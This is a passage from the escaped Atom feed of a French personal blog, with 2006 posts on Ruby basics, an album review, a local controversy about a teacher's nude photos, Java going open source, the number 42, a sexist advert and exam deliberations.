&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Création d&amp;#39;un instance de C, c1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;c1: &amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Création d&amp;#39;un instance de C, c2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Réécriture de la méthode foo, voir code&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;foo&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Je ne dis PLUS foo&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;c2: &amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Méthode, module et procédure&lt;/h2&gt;
&lt;p&gt;Ruby distingue trois notions,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Une &lt;strong&gt;méthode&lt;/strong&gt;, est un morceau de code que l&amp;rsquo;on exécute sur un objet (une instance de classe).&lt;/li&gt;
&lt;li&gt;Un &lt;strong&gt;module&lt;/strong&gt;, est une classe que l&amp;rsquo;on ne peut pas instancier (une classe abstraite) et qui ne peut pas être héritée. C&amp;rsquo;est la notion Java de classe abstraite. Un module va fournir des fonctions et des constantes (le module Math par exemple).&lt;/li&gt;
&lt;li&gt;Une &lt;strong&gt;procédure&lt;/strong&gt;, permet de nommer une bloc de code… afin de pouvoir l&amp;rsquo;exécuter, le passer en argument à une fonction…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;rsquo;ai encore plein de trucs à découvrir mais jusque là, ça m&amp;rsquo;excite très fort. Je reviens ici dès que j&amp;rsquo;ai réussi à faire fonctionner RADRails (&lt;em&gt;projet mort&lt;/em&gt;) convenablement. Pour l&amp;rsquo;instant, j&amp;rsquo;ai suivi un tutoriel qui semble bien fait mais je n&amp;rsquo;arrive pas à afficher le résultat que je devrais obtenir…  &lt;em&gt;Grr&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;y retourne de ce pas.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
&lt;em&gt;Crédit photo chez 500px par &lt;a href="http://500px.com/Rubyk"&gt;Ruby Cardinal&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Jean-Paul DEN, il y a un chemin.</title><link href="http://blog.namok.be/2006-12-08-jean-paul-den-il-y-a-un-chemin.html" rel="alternate"/><published>2006-12-08T00:00:00+01:00</published><updated>2006-12-08T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-12-08:/2006-12-08-jean-paul-den-il-y-a-un-chemin.html</id><summary type="html">Jean-Paul DEN, il y a un chemin.</summary><content type="html">&lt;p&gt;Jean-Paul signe son nouvel album « Il y a un chemin » et j&amp;rsquo;étais impatient de l&amp;rsquo;écouter. Ça y est, c&amp;rsquo;est fait (depuis plusieurs jours déjà) et je n&amp;rsquo;hésite pas à vous le conseiller. Sans doute que si je n&amp;rsquo;avais pas aimé je n&amp;rsquo;en aurais pas fait un billet. Pour ceux qui n&amp;rsquo;ont pas encore d&amp;rsquo;idée pour les fêtes de fin d&amp;rsquo;année, c&amp;rsquo;est un cadeau sympa à mettre sous le sapin.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/images/jpd_album2006.png"&gt;&lt;/p&gt;
&lt;p&gt;Je passe quelques chansons de l&amp;rsquo;album en revue. Juste celles qui m&amp;rsquo;ont le plus marqués puisque je les retiens aujourd&amp;rsquo;hui.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;D&amp;rsquo;entrée de jeu Jean-Paul nous propose une salsa avec &lt;strong&gt;Elle est sale&lt;/strong&gt; ce qui n&amp;rsquo;est pas son genre mais après les premières secondes d&amp;rsquo;étonnement, la mélodie reste bien dans la tête. C&amp;rsquo;est chouette.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dans &lt;strong&gt;Chez le Diable ou chez Dieu&lt;/strong&gt;, Jean-Paul nous confie (en cachette) son aspiration à être une vedette,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C&amp;rsquo;est que tout ça m&amp;rsquo;embête
J&amp;rsquo;avais des trucs à faire
Devenir une vedette
Aligner les concerts
Et je suis seul en coulisse
Ce théâtre est vide&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dans &lt;strong&gt;Ma femme préfère Chelon&lt;/strong&gt;, j&amp;rsquo;ai « rien » compris car je n&amp;rsquo;ai aucune idée de qui est « ce type ». Peut-être dois-je m&amp;rsquo;informer. Allez, que les incultes comme moi demandent à &lt;a href="http://fr.wikipedia.org/wiki/Georges_Chelon"&gt;Wikipedia qui nous répond bien gentiment&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le &lt;strong&gt;Sentier Saint-Gérard&lt;/strong&gt; sera sans doute la chanson préférée des Enghiennois qui sont passé par là dans leur jeune temps. C&amp;rsquo;est une petite ruelle sombre que l&amp;rsquo;on choisit quand (&lt;em&gt;dixit&lt;/em&gt;) on a une amie et qu&amp;rsquo;elle n&amp;rsquo;est pas trop pressée. Belle mélodie de surcroit.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Jean-Paul, n&amp;rsquo;a pas l&amp;rsquo;intention de (en fait il n&amp;rsquo;aimerait pas trop) laisser tout pourrir quand, selon l&amp;rsquo;expression d&amp;rsquo;un collègue, « on l&amp;rsquo;aura claqué dans l&amp;rsquo;trou ». Il nous chante dans &lt;strong&gt;Ce qui peut servir&lt;/strong&gt; une éloge au don d&amp;rsquo;organes. Si l&amp;rsquo;on prend ses yeux, il conseille de prendre aussi ses lunettes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Et la dernière, parce que je n&amp;rsquo;ai pas le temps de les passer toutes en revue, parce que ma femme m&amp;rsquo;appelle, parce que c&amp;rsquo;est mon choix est aussi la dernière de l&amp;rsquo;album. &lt;strong&gt;Où sont passés les gens honnêtes&lt;/strong&gt; a aussi une mélodie qui reste bien dans l&amp;rsquo;oreille.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Comme je l&amp;rsquo;ai dit, un album à découvrir.&lt;/p&gt;</content></entry><entry><title>Mon institutrice nue</title><link href="http://blog.namok.be/2006-11-17-mon-institutrice-nue.html" rel="alternate"/><published>2006-11-17T00:00:00+01:00</published><updated>2006-11-17T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-11-17:/2006-11-17-mon-institutrice-nue.html</id><summary type="html">Quand l'institutrice cumule plusieurs boulots.</summary><content type="html">&lt;p&gt;C&amp;rsquo;est sans doute LA nouvelle du jour dans ma région (Hainaut, plus exactement à &lt;a href="http://fr.wikipedia.org/wiki/Marbaix-la-Tour"&gt;Marbaix-la-tour&lt;/a&gt;) :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Une institutrice de 2&lt;sup&gt;ième&lt;/sup&gt; primaire a posé nue dans une revue, la commune est en émoi.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;…et moi je ne peux m&amp;rsquo;empêcher de m&amp;rsquo;imaginer mes nombreuses copines et amies institutrices posant nues, je suis hilare.&lt;/p&gt;
&lt;p&gt;Je relate d&amp;rsquo;abord les faits tels que décrits dans le journal parlé de ce matin : un père d&amp;rsquo;élève a découvert les photos litigieuses dans un magazine érotique (ou pornographique, l&amp;rsquo;info ne le précise pas) et en a tout de suite fait part au directeur de l&amp;rsquo;établissement dans lequel travaille la modèle. Celui-ci a convoqué son enseignante et après discussion, elle a remis sa démission de son poste d&amp;rsquo;institutrice. L&amp;rsquo;affaire fait grand bruit dans la région, le passant cherchant a se procurer ledit magazine épuisé, le présentateur du journal parle d&amp;rsquo;hypocrisie.&lt;/p&gt;
&lt;h2&gt;L&amp;rsquo;institutrice&lt;/h2&gt;
&lt;p&gt;Mon avis est partagé sur la question.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;une part, j&amp;rsquo;ai envie de dire que ces faits relèvent de la vie privée de l&amp;rsquo;enseignante. Si elle a envie de poser nue, c&amp;rsquo;est son choix et ça ne regarde qu&amp;rsquo;elle et ceux (chanceux ?) qui verront les photos. D&amp;rsquo;ailleurs, à priori, ces élèves n&amp;rsquo;auront jamais connaissance des ces photos… ou bien plus tard lorsque, boutonneux, ils repenseront à leur institutrice de 2&lt;sup&gt;ième&lt;/sup&gt;, assis sur la lunette d&amp;rsquo;une obscure toilette.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;un autre côté, elle est enseignante et, de ce fait, elle a ce devoir d&amp;rsquo;être attentive à son image comme tout enseignant qui est, comme chacun sait, un exemple de probité ! Je parle bien d&amp;rsquo;image que l&amp;rsquo;on donne à autrui, comme mes amies institutrices qui fument comme &lt;em&gt;adt&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; mais jamais devant les enfants. C&amp;rsquo;est, j&amp;rsquo;ai l&amp;rsquo;impression, la demande tacite du quidam : l&amp;rsquo;enseignant n&amp;rsquo;est pas parfait mais il en donne l&amp;rsquo;image aux enfants. Il peut relâcher cette contrainte au fur et à mesure que son public grandit. Tout ça m&amp;rsquo;amène au père.&lt;/p&gt;
&lt;h2&gt;Le père&lt;/h2&gt;
&lt;p&gt;Dans l&amp;rsquo;info de ce matin, on parle abondement de l&amp;rsquo;institutrice fautive mais pas un mot du père, soucieux de probité, qui a déniché, grâce à une recherche j&amp;rsquo;imagine intense, la délicate information. Je n&amp;rsquo;irai pas jusqu&amp;rsquo;à crier à l&amp;rsquo;hypocrisie, car elle est présente partout et ne m&amp;rsquo;étonne plus du tout. Non, cela me fait sourire. Je commence la journée joyeux et triste car l&amp;rsquo;institutrice fautive a démissionné et le père — voyeur — est acclamé (de tous ?) car cette jeune fille (j&amp;rsquo;imagine qu&amp;rsquo;elle est jeune) a perdu son travail. Bref, citoyens dormez tranquilles on veille sur vous.&lt;/p&gt;
&lt;p&gt;Je me pose la question suivante. L&amp;rsquo;aurait-on embêtée si elle avait été (je vais fort) prostituée &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; à 100 km de chez elle dans un bar obscur où personne « du village » ne l&amp;rsquo;aurait dénichée. Je ne sais pas. Mais ce qui est sûr c&amp;rsquo;est que je regrette la réaction du père. Doit-on vraiment mettre ce genre d&amp;rsquo;info sur la place publique ? Ne pouvait-on pas imaginer que l&amp;rsquo;institutrice nue pose, que le père, un peu voyeur comme tout homme, et d&amp;rsquo;autres voient les images et que la majorité des citoyens n&amp;rsquo;en aient pas connaissance ?&lt;/p&gt;
&lt;p&gt;Finalement, je me demande si l&amp;rsquo;institutrice nue, fine psychologue, n&amp;rsquo;a pas simplement fait un « test d&amp;rsquo;hypocrisie » au niveau local ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 20/11/2006.&lt;/strong&gt; J&amp;rsquo;ai trouvé un article dans la &lt;a href="https://www.dhnet.be/actu/faits/2006/11/17/une-institutrice-demissionne-apres-avoir-pose-nue-NJBRAPNPEJDIZOZLMIEJBSUPR4/"&gt;DH&lt;/a&gt; (j&amp;rsquo;avais cherché dans &lt;em&gt;La libre&lt;/em&gt; et dans &lt;em&gt;Le soir&lt;/em&gt; sans succès. Je n&amp;rsquo;avais pas pensé à la Dernière Heure!). Voilà voilà.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RéÉdité le 5/12/2006.&lt;/strong&gt; Un ami l&amp;rsquo;a gentiment croquée &amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Illustration" src="/images/institutrice_marbaix_nue.png" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://vanegg.be/"&gt;&lt;em&gt;Photo, vanegg.be&lt;/em&gt;&lt;/a&gt; (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;&lt;em&gt;Private joke&lt;/em&gt;. Adt (Alain) est un collègue dont on (certains étudiants dans les couloirs) dit : « Une clope égale dix secondes, dix secondes égalent une clope ».&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Que « l&amp;rsquo;institutrice nue » me comprenne bien (dans l&amp;rsquo;hypothèse improbable qu&amp;rsquo;elle me lise ^^), je ne compare nullement le fait de poser nue à de la prostitution.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>La Java du 13 novembre 2006</title><link href="http://blog.namok.be/2006-11-13-la-java-du-13-novembre-2006.html" rel="alternate"/><published>2006-11-13T00:00:00+01:00</published><updated>2006-11-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-11-13:/2006-11-13-la-java-du-13-novembre-2006.html</id><summary type="html">Quand SUN libère Java.</summary><content type="html">&lt;p&gt;Le 13 novembre 2006 est un grand jour pour les défenseurs du logiciel libre. En effet, SUN libère Java.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l&amp;rsquo;annonce chez SUN (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;&lt;a href="https://linuxfr.org/news/java-libre-un-reve-devient-realite--2"&gt;annonce sur LinuxFR&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;le webcast de la liberte (ça c&amp;rsquo;est pompeux) (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bon, qu&amp;rsquo;est-ce qui change ? &lt;br&gt;
Pour l&amp;rsquo;instant ~~rien~~ pas grand chose… enfin à mon avis, ça va bouger vite (j&amp;rsquo;espère que l&amp;rsquo;on arrivera à suivre). &lt;/p&gt;
&lt;p&gt;Je note déjà que d&amp;rsquo;on peut télécharger &lt;a href="//openjdk.org/"&gt;&lt;em&gt;openJDK&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;</content></entry><entry><title>La réponse est 42</title><link href="http://blog.namok.be/2006-11-13-la-reponse-est-42.html" rel="alternate"/><published>2006-11-13T00:00:00+01:00</published><updated>2006-11-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-11-13:/2006-11-13-la-reponse-est-42.html</id><summary type="html">Mais quelle est la réponse à la Grande Question sur la Vie, l'Univers et le Reste ?</summary><content type="html">&lt;p&gt;Le guide du routard galactique&lt;/p&gt;
&lt;p&gt;&lt;img alt="Couverture du livre" src="/images/le-guide-du-routard-galactique-1998.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Bien sur ce n&amp;rsquo;est pas mon 42&lt;sup&gt;ième&lt;/sup&gt; billet mais bon. J&amp;rsquo;en parle aujourd&amp;rsquo;hui suite à l&amp;rsquo;habituelle &lt;em&gt;private joke&lt;/em&gt; au cours d&amp;rsquo;hier. C&amp;rsquo;est vrai, ça m&amp;rsquo;arrive quasi tous les ans, je fais la blague, j&amp;rsquo;estime que ça fait partie de l&amp;rsquo;apprentissage de l&amp;rsquo;informatique. &lt;/p&gt;
&lt;p&gt;&lt;a href="https://fr.wikipedia.org/wiki/42_%28nombre%29"&gt;42&lt;/a&gt;, est la réponse ultime à la &lt;em&gt;Grande Question sur la Vie, l&amp;rsquo;Univers et le Reste&lt;/em&gt; que l&amp;rsquo;on retrouve dans la « 5-logie » de &lt;a href="//fr.wikipedia.org/wiki/Douglas_Adams"&gt;Douglas ADAMS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je cite Wikipedia,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Selon Le Guide du voyageur galactique, des chercheurs d&amp;rsquo;une race hyper-intelligente et pan-dimensionnelle construisirent le deuxième plus grand ordinateur de tous les temps, &lt;em&gt;Pensées Profondes&lt;/em&gt;, pour calculer la réponse à la Grande Question sur la Vie, l&amp;rsquo;Univers et le Reste. Après sept millions et demi d&amp;rsquo;années à réfléchir à la question, Pensées Profondes fournit enfin la réponse : « quarante-deux ». &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;« Quarante-deux ! cria Loonquawl.&lt;/li&gt;
&lt;li&gt;Et c&amp;rsquo;est tout ce que t&amp;rsquo;as à nous montrer au bout de sept millions et demi d&amp;rsquo;années de boulot ?&lt;/li&gt;
&lt;li&gt;J&amp;rsquo;ai vérifié très soigneusement, dit l&amp;rsquo;ordinateur, et c&amp;rsquo;est incontestablement la réponse exacte. Je crois que le problème, pour être tout à fait franc avec vous, est que vous n&amp;rsquo;avez jamais vraiment bien saisi la question.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;S&amp;rsquo;ensuit la recherche de la question ultime, je cite toujours Wikipedia,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pensées Profondes informa les chercheurs qu&amp;rsquo;il construirait un deuxième ordinateur plus puissant, qui inclurait des êtres vivants dans son processus, pour leur dire quelle est la question. Cet ordinateur s’appelait la &lt;em&gt;Terre&lt;/em&gt; et était si grand qu&amp;rsquo;on le confondait souvent avec une planète… (&lt;em&gt;to be continued&lt;/em&gt;) &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Le lecteur intéressé peut consulter les liens suivants (particulièrement Wikipedia)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;42 est la réponse à &lt;a href="http://fr.wikipedia.org/wiki/La_Grande_Question_sur_la_Vie%2C_l%27Univers_et_le_Reste"&gt;« LA grande question sur la Vie, l&amp;rsquo;Univers et le Reste »&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;extrait du &lt;a href="http://fr.wikipedia.org/wiki/Le_Guide_du_voyageur_galactique"&gt;Guide du Voyageur Galactique&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;du livre de &lt;a href="http://fr.wikipedia.org/wiki/Douglas_Adams"&gt;Douglas ADAMS&lt;/a&gt;;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et pour la route, &lt;em&gt;last but not least&lt;/em&gt;, n&amp;rsquo;hésitez pas à faire &lt;code&gt;:h 42&lt;/code&gt; dans vi (éditeur de texte).&lt;/p&gt;</content></entry><entry><title>Mettre le four à 180°</title><link href="http://blog.namok.be/2006-07-08-mettre-le-four-a-180.html" rel="alternate"/><published>2006-07-08T00:00:00+02:00</published><updated>2006-07-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-07-08:/2006-07-08-mettre-le-four-a-180.html</id><summary type="html">Dur dur d'être publiciste.</summary><content type="html">&lt;p&gt;&lt;img alt="Attention au four ou à la cuisinière" src="/images/Shhh_it__s_hiding_in_the_oven_by_MigraineSky.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;En deux mots voici la dernière pub de &lt;a href="//brantano.be/"&gt;Brantano&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ding dong!&lt;br&gt;
— Ah Salut, tu tombes bien (voix d&amp;rsquo;homme)&lt;br&gt;
— Salut (autre voix d&amp;rsquo;homme)&lt;br&gt;
— Ma femme est partie chez Brantano et j&amp;rsquo;ai faim, je voudrais me faire cuire une pizza. Sur l&amp;rsquo;emballage il est écrit mettre le four à 180°… mais j&amp;rsquo;y arrive pas. Tu peux m&amp;rsquo;aider ?&lt;br&gt;
— Bien sur.&lt;br&gt;
(Bruit d&amp;rsquo;un four que l&amp;rsquo;on déplace)&lt;br&gt;
— Merci. Ben m**de maintenant je ne sais plus ouvrir la porte.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pour moi le niveau est très très bas.&lt;br&gt;
C&amp;rsquo;est pas drôle et c&amp;rsquo;est &lt;em&gt;bêtifiant&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. L&amp;rsquo;homme est très con et le publiciste remet une couche sur le stéréotype : « La femme est au ménage et se tait et l&amp;rsquo;homme travaille et ne fait rien à la maison ». Ce message m&amp;rsquo;agace au plus haut point.&lt;/p&gt;
&lt;p&gt;Je ne parviens pas a saisir quel est le public visé.&lt;/p&gt;
&lt;p&gt;La seule explication plausible c&amp;rsquo;est une revanche contre les pubs style &lt;em&gt;femmes objets&lt;/em&gt;. Puisque l&amp;rsquo;on utilise le corps des femmes pour vendre, n&amp;rsquo;hésitons pas à utiliser la bêtise des hommes aussi… Dans ce cas de figure, je ne vois pas. C&amp;rsquo;est pas intelligent, ce n&amp;rsquo;est pas &lt;em&gt;fin&lt;/em&gt;, ce n&amp;rsquo;est pas drôle. Rien. &lt;/p&gt;
&lt;p&gt;La seconde pub de Brantano est du même type mais pour les couches cette fois.
Le mec parle de :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ces machins blancs que bébé met plusieurs fois par jour.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Il ne sait pas comment les laver et demande, à nouveau, à son ami qui passe par hasard comment faire. &lt;/p&gt;
&lt;p&gt;Deux réactions :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Imaginons 2&amp;rsquo; que je sois une femme) Si mon mec en est à ce stade là, je ne lui confie pas une seconde mon bébé.&lt;/li&gt;
&lt;li&gt;Ma femme et moi utilisons des couches lavables… donc je trouvais assez normal que le mec veuille laver les couches. J&amp;rsquo;imagine que les publicistes de chez Brantano n&amp;rsquo;ont pas eu vent de l&amp;rsquo;existence de telles couches.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Allez ! Bonne chance aux publicistes quand même.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez DevianArt par &lt;a href="//migrainesky.deviantart.com/art/Shhh-it-s-hiding-in-the-oven-60433152"&gt;Migraine Sky&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Un néologisme sans doute&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Les délibés sont finies…</title><link href="http://blog.namok.be/2006-06-23-les-delibes-sont-finies.html" rel="alternate"/><published>2006-06-23T00:00:00+02:00</published><updated>2006-06-23T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-06-23:/2006-06-23-les-delibes-sont-finies.html</id><summary type="html">Plus équitable mais moins humain, un glissement malheureux au nom de l'équité.</summary><content type="html">&lt;p&gt;Hier, c&amp;rsquo;étaient les &lt;em&gt;délibés&lt;/em&gt; (entendez les délibérations).&lt;br&gt;
Je n&amp;rsquo;aime pas les délibés.&lt;/p&gt;
&lt;p&gt;Mais bon, comme je disais, les délibés sont terminées. Presque aux deux sens du terme.&lt;/p&gt;
&lt;p&gt;Au sens premier, elles ont eu lieu, ce sont bien passées, des étudiants ont ratés et d&amp;rsquo;autres ont réussis. Donc tout est normal. Sans révéler les &lt;strong&gt;secrets de la délibération&lt;/strong&gt;, je peux expliquer comment cela se déroule. Les règles officielles sont (c&amp;rsquo;est bien de les rappeler parfois) :  &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Moyenne supérieure à 12/20 et aucune cote inférieure à 10 »&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dans la pratique nous nous autorisons des « &lt;em&gt;cadeaux&lt;/em&gt; » : un étudiant ayant une bonne moyenne mais un cote inférieure à 10 (9 par exemple) pourra passer dans l&amp;rsquo;année supérieure même s&amp;rsquo;il ne satisfait pas aux conditions.
L&amp;rsquo;idée, c&amp;rsquo;est évident, est d&amp;rsquo;être &lt;strong&gt;humain&lt;/strong&gt; et d&amp;rsquo;autoriser l&amp;rsquo;une ou l&amp;rsquo;autre faiblesse. C&amp;rsquo;est normal, tout le monde sait ça et toutes les écoles pratiquent cela depuis mille ans. Cette manière de faire amène deux problèmes.&lt;/p&gt;
&lt;p&gt;Comment être équitable ?&lt;br&gt;
Quand s&amp;rsquo;arrêter dans les cadeaux.&lt;/p&gt;
&lt;p&gt;Au sein de l&amp;rsquo;école nous nous sommes fixés des règles internes permettant d&amp;rsquo;attribuer &lt;em&gt;automatiquement les cadeaux&lt;/em&gt;. On sent déjà que la notion de cadeau glisse vers le dû. Avec cet règles automatiques, nous sommes plus équitables… et donc, moins humains puisque l&amp;rsquo;attribution du cadeau est automatique. C&amp;rsquo;est un peu comme quand on donne une dringuelle à deux enfants plutôt qu&amp;rsquo;un cadeau à chacun : c&amp;rsquo;est moins personnalisé mais c&amp;rsquo;est plus juste (pour autant que le montant soit le même).&lt;/p&gt;
&lt;p&gt;De plus en plus — et les recours y sont sans doute pour quelque chose — des étudiants comparent leurs notes et les décisions du jury. Il tentent alors plus facilement un recours s&amp;rsquo;ils estiment avoir été lésés et ne pas avoir reçu le même cadeau qu&amp;rsquo;un autre. Heureusement ces cas sont rares… mais il en suffit d&amp;rsquo;un pour attirer l&amp;rsquo;attention de notre ministre. La ministre est donc de plus en plus attentive à la &lt;strong&gt;justification des décisions du jury&lt;/strong&gt; sans doute pour accroitre l&amp;rsquo;équité. Sans doute aussi pour diminuer le pouvoir ou la suprématie des conseils de classe. Personnellement, je déplore un peu ce glissement : plus équitable mais moins humain. &lt;/p&gt;
&lt;p&gt;En conclusion, je prévois la fin des délibés pour… bientôt.&lt;br&gt;
C&amp;rsquo;est une volonté supérieure (pas divine, simplement ministérielle) de faire la même chose pour tout le monde. J&amp;rsquo;espère cependant que l&amp;rsquo;on autorisera encore, même si c&amp;rsquo;est automatique, de faire des cadeaux aux étudiants. Parce que avec la notion de crédits annoncée par le nouveau décret, l&amp;rsquo;étudiant du futur devra avoir 10 dans chaque cours. Il n&amp;rsquo;y aura plus (en tout cas moins) de notions d&amp;rsquo;année. Je me demande à quelle sauce nous allons être mangé.  &lt;/p&gt;
